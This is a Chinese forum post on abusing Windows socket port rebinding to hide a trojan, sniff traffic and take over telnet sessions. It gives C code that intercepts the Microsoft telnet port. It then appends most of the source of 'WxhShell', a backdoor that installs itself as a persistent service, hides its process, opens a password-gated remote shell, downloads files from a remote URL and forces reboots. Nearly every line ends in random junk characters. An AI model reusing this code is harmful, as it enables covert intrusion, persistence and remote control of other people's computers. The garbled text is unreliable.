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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IA XoEBlMs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *g<D p2`  
*h>KeIB;  
  saddr.sin_family = AF_INET; AI&Bv  
T~rPpi&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `'{>2d%\g  
Q,mmHw.`J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q^_PR|  
v} $KlT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T.sib&R  
(hn@+hc  
  这意味着什么?意味着可以进行如下的攻击: 6:(*u{  
I(*4N^9++  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O!D0 hW4  
!V6O~#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q >|:mXR  
}0P5~]S<5A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i<*{Z~B  
xmEmdOoD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #q"^6C 5  
;9r`P_r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2%'iTXF  
Xk_xTzJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %!G]H   
S WYIQ7*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;:[!I]E0  
y%21`y&Os  
  #include q7 ;TdQ  
  #include $Xf gY1S  
  #include &ESE?{of)  
  #include    SG{> t*E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ESl-k2  
  int main() u2SnL$A7  
  { |[ tlR`A$  
  WORD wVersionRequested; (C RY$+d  
  DWORD ret; vPn(~d_  
  WSADATA wsaData; *.UM[Wo  
  BOOL val; 6p X[m{  
  SOCKADDR_IN saddr; yu'2  
  SOCKADDR_IN scaddr; <303PPX^6  
  int err; d+_wN2  
  SOCKET s; ,{ C   
  SOCKET sc; @"9^U_Qf1z  
  int caddsize; Efm37Kv5l  
  HANDLE mt; wr/Z)e =^3  
  DWORD tid;   ][|)qQ%V  
  wVersionRequested = MAKEWORD( 2, 2 ); 06 kjJ4  
  err = WSAStartup( wVersionRequested, &wsaData ); `[<j5(T  
  if ( err != 0 ) { G] -$fz  
  printf("error!WSAStartup failed!\n"); ckXJ9>  
  return -1; d3fF|Wp1  
  } S(^*DV  
  saddr.sin_family = AF_INET; ]OE{qXr{  
   dsKEWZ =  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3McBTa!  
\>8"r,hG|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +1Ha,O k  
  saddr.sin_port = htons(23); li4rK <O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ng?n}$g*  
  { EROf%oaz=  
  printf("error!socket failed!\n"); T [ `t?,  
  return -1; Q7X6OFl?  
  } &wbe^Wp  
  val = TRUE; 7-"ml\z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \$o!M1j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uFM]4v3  
  { uUUj?%  
  printf("error!setsockopt failed!\n"); T-)Ur/qp  
  return -1; rzH*|B0g  
  } 85rXm*Df  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e7f3dqn0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E?o1&(2p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 28u)q2s^W|  
 A7*<,]qT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v,N*vqWS  
  { .z u0GsU=  
  ret=GetLastError(); VjbRjn5LI  
  printf("error!bind failed!\n"); }Z MbTsm  
  return -1; ~7Ey9wRkD  
  } aVI/x5p~  
  listen(s,2); zPp?D_t  
  while(1) YN1P9j#0d  
  { +'9l 2DI;  
  caddsize = sizeof(scaddr); q<L>r?T[  
  //接受连接请求 Ht UFl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); };[~>Mzl  
  if(sc!=INVALID_SOCKET) | I_,;c  
  { TSHsEcfO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e&G!5kz!  
  if(mt==NULL) )~1QOl "~  
  { &>UI{  
  printf("Thread Creat Failed!\n"); Y/1KvF4)k  
  break; sW[8f Z71  
  } `A8nAgbe  
  } -4|\,=j  
  CloseHandle(mt); nPp\IE}:  
  } ^EGe%Fq*x]  
  closesocket(s); P9~7GFas|  
  WSACleanup(); =W(mZ#*vdY  
  return 0; f>k<I[C<  
  }   ]iewukB4  
  DWORD WINAPI ClientThread(LPVOID lpParam) isaDIl;L/  
  { NIcPjo  
  SOCKET ss = (SOCKET)lpParam; xS%Z   
  SOCKET sc; T^3_d93}d  
  unsigned char buf[4096]; XK[cbVu  
  SOCKADDR_IN saddr; zKr\S |yE  
  long num; Hi$J@xU  
  DWORD val; A;nrr1-0  
  DWORD ret; 5[.Dlpa'7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h }&WBN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T8& kxp  
  saddr.sin_family = AF_INET; $Hcp.J[O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8W$uw~|dw  
  saddr.sin_port = htons(23); tMxa:h;/x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  -1Acprr  
  { 3n;UXYJ%  
  printf("error!socket failed!\n"); hj@< wU  
  return -1; gs)wQgJ[  
  } Ek|#P{!  
  val = 100; >p4#AfGF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M>+FIb(  
  { 4LqJ4jo  
  ret = GetLastError(); ?-CZJr  
  return -1; ',L>UIXw  
  } (Zi(6 T\z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SoZ$1$o2  
  { tz&'!n}  
  ret = GetLastError(); h2g|D(u)  
  return -1; X~ n=U4s}O  
  } $]IX11.m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4.|-?qG  
  { <[O8 {9j  
  printf("error!socket connect failed!\n"); QXZjsa_|  
  closesocket(sc); J;|r00M  
  closesocket(ss); 7`;55Se  
  return -1; hGmJG,H  
  } (q'w"qj  
  while(1) KE3/sw0  
  { G+N &(:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yyke"D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T =r7FU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {3@lvoDT  
  num = recv(ss,buf,4096,0); 40}qf}8n t  
  if(num>0) w '?xewx  
  send(sc,buf,num,0); &z[39Q{~  
  else if(num==0) NF`WA-W8@  
  break; O,(p><k$/  
  num = recv(sc,buf,4096,0); Ox;q +5  
  if(num>0) %[(DFutJY+  
  send(ss,buf,num,0); f\O)+Vc  
  else if(num==0) Ag1*.t|  
  break; _" 0VM >  
  } 7'pCFeA>=T  
  closesocket(ss); &{${Fq  
  closesocket(sc); <fq?{z  
  return 0 ; MW|Qop[  
  } E)liuu! qI  
OYKeu(=L  
tFLdBv!=:^  
========================================================== |_Vi8Ly  
zlC|Spaf  
下边附上一个代码,,WXhSHELL Afm GA9  
pC 5J '@  
========================================================== }HB)%C50.  
C%8nr8 po  
#include "stdafx.h" >5C|i-HX  
EsR_J/:Qe  
#include <stdio.h> U 2k^X=yl  
#include <string.h> X]6Hgz66  
#include <windows.h> ?3bUE\p  
#include <winsock2.h> 'V";"Ei  
#include <winsvc.h> j)IXe 0dMC  
#include <urlmon.h> >SO !{  
xE(VyyR  
#pragma comment (lib, "Ws2_32.lib") q{/>hvl  
#pragma comment (lib, "urlmon.lib") v'Y)~Kv@!  
?o'!(3`L  
#define MAX_USER   100 // 最大客户端连接数 n_5m+ 1N  
#define BUF_SOCK   200 // sock buffer Bw2-4K\"kc  
#define KEY_BUFF   255 // 输入 buffer D<9FSxl6  
q]F2bo  
#define REBOOT     0   // 重启 MONfA;64/  
#define SHUTDOWN   1   // 关机 4%wP}Zj#  
b e[KNrO  
#define DEF_PORT   5000 // 监听端口 ~_C[~-  
90OSe{  
#define REG_LEN     16   // 注册表键长度 t,#9i#q#  
#define SVC_LEN     80   // NT服务名长度 2 O\p`,.  
 # Vz9j  
// 从dll定义API $_s"16s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gf/$M[H!   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _[|~(lDJl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {KJ!rT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6 R}]RuFQ  
JSXudz5 c  
// wxhshell配置信息 ,f0|eu>  
struct WSCFG { nG<_&h  
  int ws_port;         // 监听端口 "&;>l<V  
  char ws_passstr[REG_LEN]; // 口令 BS<5b*wG  
  int ws_autoins;       // 安装标记, 1=yes 0=no \6A-eWIQif  
  char ws_regname[REG_LEN]; // 注册表键名 hES_JbX}]  
  char ws_svcname[REG_LEN]; // 服务名 DiMkcK_e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aw9/bp*N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _:oB#-0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }3sj{:z{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +4G]!tV6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7UQFAt_r  
%00KOM:  
}; PveY8[i  
-r%4,4  
// default Wxhshell configuration c@d[HstBJ  
struct WSCFG wscfg={DEF_PORT, 1fBj21zG  
    "xuhuanlingzhe", 6Yw;@w\  
    1, cVjs-Xf7D%  
    "Wxhshell", UH=pQm ^W  
    "Wxhshell", M0[7>N _  
            "WxhShell Service", }Z5f5q  
    "Wrsky Windows CmdShell Service", k<p$BZ  
    "Please Input Your Password: ", 4/Ub%t -  
  1, MY>mP  
  "http://www.wrsky.com/wxhshell.exe", SV%;w>  
  "Wxhshell.exe"  ;0G+>&C8  
    }; 9PXG*r|D  
\9Nd"E[B  
// 消息定义模块 $'D|}=h<Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ut8v&i1?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !{'C.sb?~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c#'t][Ii  
char *msg_ws_ext="\n\rExit."; Fj? Q4_  
char *msg_ws_end="\n\rQuit."; }F3}-5![  
char *msg_ws_boot="\n\rReboot..."; ciRn"X=l  
char *msg_ws_poff="\n\rShutdown..."; D:`b61sWi_  
char *msg_ws_down="\n\rSave to "; (]* Ro 8  
? &ie;t<7  
char *msg_ws_err="\n\rErr!"; '?]B ui  
char *msg_ws_ok="\n\rOK!"; O_%X>Q9  
yhzC 9nTH  
char ExeFile[MAX_PATH]; .U.Knn  
int nUser = 0; &''lOS|  
HANDLE handles[MAX_USER]; 3^m0 k E  
int OsIsNt; Pf`HF|NI  
gA 0:qEL\  
SERVICE_STATUS       serviceStatus; w|$i<OIi)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i("ok  
64]_o/u5W4  
// 函数声明 F+yu[Dh:  
int Install(void); O$ dz=)  
int Uninstall(void); DC?U +  
int DownloadFile(char *sURL, SOCKET wsh); u#9H  
int Boot(int flag); aLZza"W  
void HideProc(void); uE{r09^q\  
int GetOsVer(void); , y%!s27  
int Wxhshell(SOCKET wsl); wrw4Uxq  
void TalkWithClient(void *cs); t>nx#ErS  
int CmdShell(SOCKET sock); 9 <qAf`  
int StartFromService(void); -'SpSy'_  
int StartWxhshell(LPSTR lpCmdLine); OV<'v%_&  
xgsEJE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fuRCM^U(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IM-O<T6r[N  
+OSF0#bj  
// 数据结构和表定义 # .1+-^TQk  
SERVICE_TABLE_ENTRY DispatchTable[] = Zy !^HS$  
{ (jj=CLe  
{wscfg.ws_svcname, NTServiceMain}, sfb)iH|sW  
{NULL, NULL} u-v/`F2wN  
}; L1P.@hJ  
}<m'Nkz<X  
// 自我安装 #0OW0:Q  
int Install(void) XMt)\r.  
{ zfS0M  
  char svExeFile[MAX_PATH]; N]yh8"7X  
  HKEY key;  ! @EZ  
  strcpy(svExeFile,ExeFile); &y\7pAT\  
dM n0nc+  
// 如果是win9x系统,修改注册表设为自启动  {yXpBS  
if(!OsIsNt) { !vd(WKq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ScN'|Ia.-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &lnr?y^  
  RegCloseKey(key); l X g.`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gJ \CT'/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,3+#?H  
  RegCloseKey(key);  .7GTL  
  return 0; .J?cV;:`  
    } o03Y w)*  
  } P*=M?:Jb,  
} fXo$1!  
else { r.WQ6h/eZ5  
= Ob-'Syg>  
// 如果是NT以上系统,安装为系统服务 `i~kW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y)V)g9  
if (schSCManager!=0) |aD8  
{ a] =k-Xh  
  SC_HANDLE schService = CreateService 1}=@';cK*  
  ( x-E@[=  
  schSCManager, =}F}XSvXH  
  wscfg.ws_svcname, d8N{sT  
  wscfg.ws_svcdisp, ,,}& Q%5  
  SERVICE_ALL_ACCESS, t3P$UR%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0j\} @  
  SERVICE_AUTO_START, }\#u~k!l  
  SERVICE_ERROR_NORMAL, qcVmt1"  
  svExeFile, msf%i!  
  NULL, t%S2D  
  NULL, Ms>CO7Nvy  
  NULL, TzSEQ S{  
  NULL, -] @cUx  
  NULL NeI#gJ1A  
  ); HpCTQ\H  
  if (schService!=0) 2!kb?  
  { h^ o@=%b  
  CloseServiceHandle(schService); h#:_GNuF  
  CloseServiceHandle(schSCManager); ?^} z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ef)v("'w  
  strcat(svExeFile,wscfg.ws_svcname); c_~tCKAZ   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kleE\ 8_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |K.J@zW  
  RegCloseKey(key); %]"eN{Uvn  
  return 0; bukdyo;l  
    } s:/Wz39SY3  
  } T<ka4  
  CloseServiceHandle(schSCManager); K=K]R01/o  
} 4tA`,}ywPq  
} 8x~'fzf;Sq  
.]XBJc  
return 1; f%[0}.wp  
} U;w| =vM  
Q8h0:Q  
// 自我卸载 q1Sr#h|  
int Uninstall(void) dy"7Wl]hi7  
{ .ri?p:a}w  
  HKEY key; o;[cApiQ,2  
r"4&.&6  
if(!OsIsNt) { e'dx Y(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?B{,%2+  
  RegDeleteValue(key,wscfg.ws_regname); P*!~Z *"  
  RegCloseKey(key); FlyRcj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z km#w  
  RegDeleteValue(key,wscfg.ws_regname); -`cNRd0n  
  RegCloseKey(key); *L{^em#b  
  return 0; rnSrkn"j{  
  } rds 4eUxe  
} 4R}$P1 E  
} `Lj'2LoER  
else { M+l~^E0Wj  
P[K42 mm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -IE=?23Do?  
if (schSCManager!=0) "2_nN]%u-  
{ E0t%]?1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UA3!28Y&E3  
  if (schService!=0) W.sH  
  { /Z1>3=G by  
  if(DeleteService(schService)!=0) { oAt{ #v  
  CloseServiceHandle(schService); {>h,@  
  CloseServiceHandle(schSCManager); Dzr(Fb  
  return 0; f\u5=!kjN  
  } MA+{7 [  
  CloseServiceHandle(schService); !*!i&0QC~R  
  } 6^QSV@N|  
  CloseServiceHandle(schSCManager); M <K}H8?  
} :G4)edwe  
} "ivSpec.V  
l\6.f_  
return 1; dTVh{~/  
} R^VmNj  
Ae8P'FWB>  
// 从指定url下载文件 Z}`A'#!  
int DownloadFile(char *sURL, SOCKET wsh) rCsH 0:l8P  
{ {fxytiH8  
  HRESULT hr; :F.eyA|#@G  
char seps[]= "/"; LTZ~Id-)P  
char *token; z^Y4:^L~I  
char *file; 92D :!C  
char myURL[MAX_PATH]; jRBKy8?[C  
char myFILE[MAX_PATH]; S<o\.&J  
\E8CC>Jd  
strcpy(myURL,sURL); S{S.H?{F  
  token=strtok(myURL,seps); # XeEpdE  
  while(token!=NULL) F*_ytL  
  { >jRH<|Az  
    file=token; f^[u70c82  
  token=strtok(NULL,seps); w)<h$ <tU  
  } F3=iyiz6  
? oQ_qleuo  
GetCurrentDirectory(MAX_PATH,myFILE); Y;1J` oT  
strcat(myFILE, "\\"); nV_[40KP_  
strcat(myFILE, file); ^$;5ZkQy  
  send(wsh,myFILE,strlen(myFILE),0); !=p^@N7  
send(wsh,"...",3,0); .B_a3K4'{^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xG8z4Yu   
  if(hr==S_OK) w1,6%?p(O  
return 0; 8;fi1 "F;}  
else 1z-Q~m@@  
return 1; IJ2>\bW_p  
f}:W1&LhI?  
} \w=*:Z  
qM9> x:V  
// 系统电源模块 ]}9D*V  
int Boot(int flag) aMO+ y91Y(  
{ - -ZSl  
  HANDLE hToken; %&&;06GU}  
  TOKEN_PRIVILEGES tkp;  MuP&m{  
Ixr#zt$T-G  
  if(OsIsNt) { icXeB_&cS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gVN&?`k*?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =`f"8 ,5  
    tkp.PrivilegeCount = 1; qVr?st  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KF f6um  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3.V-r59  
if(flag==REBOOT) { QvDD   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4^{~MgQWK+  
  return 0; #TD0)C/  
} Pi'[d7o  
else { Sz0CP1WB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (I ~r~5^  
  return 0; 2|}KBny  
} 7rjS.  
  } VN >X/  
  else { Z:Nm9m  
if(flag==REBOOT) { k(R&`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h%!N!\  
  return 0; YnwP\Arfq  
} r1AG1Y  
else { `t Zw(Z=h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }Oe9Zq  
  return 0; !~a1xI~s  
} {f[X)  
} O;SD90  
iNEE2BPp  
return 1; @WO>F G3  
} ]V.0%Ccw;.  
xYD.j~  
// win9x进程隐藏模块 vj+ S  
void HideProc(void) Qh!h "]  
{ (7?jjH^4  
I>%@[h,+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); { GKqOu  
  if ( hKernel != NULL ) rEY5,'?YHv  
  { lPOcX'3\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =7 ${bp!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p'YNj3&u  
    FreeLibrary(hKernel); z]0UW\S/  
  } {aYCrk1  
/+{1;}AT  
return; O>Ao#_*hOb  
} <"}WpT  
3`> nQ4zC  
// 获取操作系统版本 _sI\^yZd  
int GetOsVer(void) YfUUbV  
{ :Wmio\  
  OSVERSIONINFO winfo; [B"CNnA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WoX,F1o  
  GetVersionEx(&winfo); ~JSa]6:_+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jjU("b=  
  return 1; NiO|Aki{  
  else )@\m0bnF  
  return 0; X0Z r?$q  
} WJ m:?,  
OE_>Kw7q  
// 客户端句柄模块 }q<%![%  
int Wxhshell(SOCKET wsl) # `b5kqQm  
{ h0n,WU/Kw  
  SOCKET wsh; )Qixde>]p  
  struct sockaddr_in client; [;8vO=Z  
  DWORD myID; D_-<V,3t  
@Sd l~'"  
  while(nUser<MAX_USER) oZ"93]3-  
{ K!onV3mR  
  int nSize=sizeof(client); h;`]rK;g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZX03FJL7u  
  if(wsh==INVALID_SOCKET) return 1; }5a$Ka-  
F]7$Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G,JK$j>*l  
if(handles[nUser]==0) 3m59EI-p  
  closesocket(wsh); -3eHJccB  
else )kuw&SH,  
  nUser++; E1V;eoK.D  
  } (#%R'9R v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G2e0\}q  
`Wy8g?d;bn  
  return 0; 6<+8[o  
} (N`x  
YMTB4|{  
// 关闭 socket { 0 vHgi  
void CloseIt(SOCKET wsh) eE-c40Bae  
{ 0Rze9od]$  
closesocket(wsh); l1wYN,rv  
nUser--; :c^9\8S  
ExitThread(0); s^Wh!:>r/  
} ~<&47'D  
PTFe>~vr*  
// 客户端请求句柄 M~#% [?iU  
void TalkWithClient(void *cs) 7n*[r*$  
{ of>"qrdZ  
RmcQGQ  
  SOCKET wsh=(SOCKET)cs; K^fH:pV  
  char pwd[SVC_LEN]; -+w^"RBV  
  char cmd[KEY_BUFF]; XVNJ3/  
char chr[1]; GO=3<Q{;  
int i,j; )OgQ&,#  
D?< R5zp  
  while (nUser < MAX_USER) { c DO<z  
dLIZ)16&  
if(wscfg.ws_passstr) { ~76qFZe-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *g;4?_f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0'O*Y ]h+  
  //ZeroMemory(pwd,KEY_BUFF); .P>-Fh,_p  
      i=0; K%/:V  
  while(i<SVC_LEN) { 6fr@y=s2:  
'AjDB:Mt$  
  // 设置超时 UM QsYD)  
  fd_set FdRead; 56Gc[<nR  
  struct timeval TimeOut; ("$ ,FRTQ:  
  FD_ZERO(&FdRead); mFu0$N6]H  
  FD_SET(wsh,&FdRead); iQnIk| 8  
  TimeOut.tv_sec=8; 0nV|(M0lu?  
  TimeOut.tv_usec=0; U*7Yi-"/*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K oF4e:2>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U)g2 7*7  
;mYj`/Yj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c _faW  
  pwd=chr[0]; "Ooc;xD3<  
  if(chr[0]==0xd || chr[0]==0xa) { AyUiX2=w1  
  pwd=0; 3~&h9#7 Ke  
  break; [#hoW"'Q9  
  } ( @y te  
  i++; QY]G+3W  
    } {f kP|d  
@p}"B9h*^  
  // 如果是非法用户,关闭 socket (iw)C)t*u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n'-?CMH`  
} =TzmhX5  
}|Wn6X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X_nxC6[m%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d#*n@@V4  
4Ev#`i3~  
while(1) { 6rD Oa~<B  
[O52Bn  
  ZeroMemory(cmd,KEY_BUFF); DD]e0 pa  
0p;pTc  
      // 自动支持客户端 telnet标准   *MBu5 +u%e  
  j=0; 0cxk)l%  
  while(j<KEY_BUFF) { ejuw+@ _  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k_}aiHdG  
  cmd[j]=chr[0]; Im*~6[  
  if(chr[0]==0xa || chr[0]==0xd) { Zg#VZg1 2  
  cmd[j]=0; h72#AN  
  break; PF4"J^V  
  } F:o<E 42  
  j++; Qso"jYl<  
    } u^!c:RfE?  
ZSo#vQ  
  // 下载文件 %tRQK$]c  
  if(strstr(cmd,"http://")) { ?\D=DIN-r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8A3pYW-  
  if(DownloadFile(cmd,wsh)) HI}9 "(t}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !u;r<:g!  
  else zu@5,AH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z#!}4@_i3  
  } w6 x{ <d  
  else { m)aNuQvy:Z  
fEB>3hI  
    switch(cmd[0]) { _Ka6! 9  
  D'! v9}  
  // 帮助 v>&sb3I  
  case '?': { _poe{@h!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AM ZWPU  
    break; 'l| e}eti>  
  } J"&jR7-9  
  // 安装 WLe9m02r  
  case 'i': { 7Ib/Cm0d|  
    if(Install()) '.mHx#?7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0;bi*2U  
    else RTgR>qI&)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | <q9Ee  
    break; gPu0j4&-  
    } JXBTd=r_oM  
  // 卸载 #cRw0bn:  
  case 'r': { 7oK7f=*Q  
    if(Uninstall()) :+m8~n$/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B?G!~lQ)o  
    else nbGB84  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #`>46T  
    break; #s-^4znv9  
    } dD Zds k+!  
  // 显示 wxhshell 所在路径 HaUfTQ8  
  case 'p': { 69o,T`B  
    char svExeFile[MAX_PATH]; ~baVS-v  
    strcpy(svExeFile,"\n\r"); mimJ_=]DC  
      strcat(svExeFile,ExeFile); 0xe!tA  
        send(wsh,svExeFile,strlen(svExeFile),0); tL;!!vg#V  
    break; LXm5f;  
    } d\R]>  
  // 重启 fW,,@2P  
  case 'b': { b& l/)DU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &%ZiI@O-  
    if(Boot(REBOOT)) *XCid_{(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,bQbj7  
    else { ![{>$Q?5  
    closesocket(wsh); ;B'5B]A3  
    ExitThread(0); NX?IM8\t  
    } Y)-)owx7  
    break; .[1"3!T  
    } u9:+^F+  
  // 关机 >brf7h  
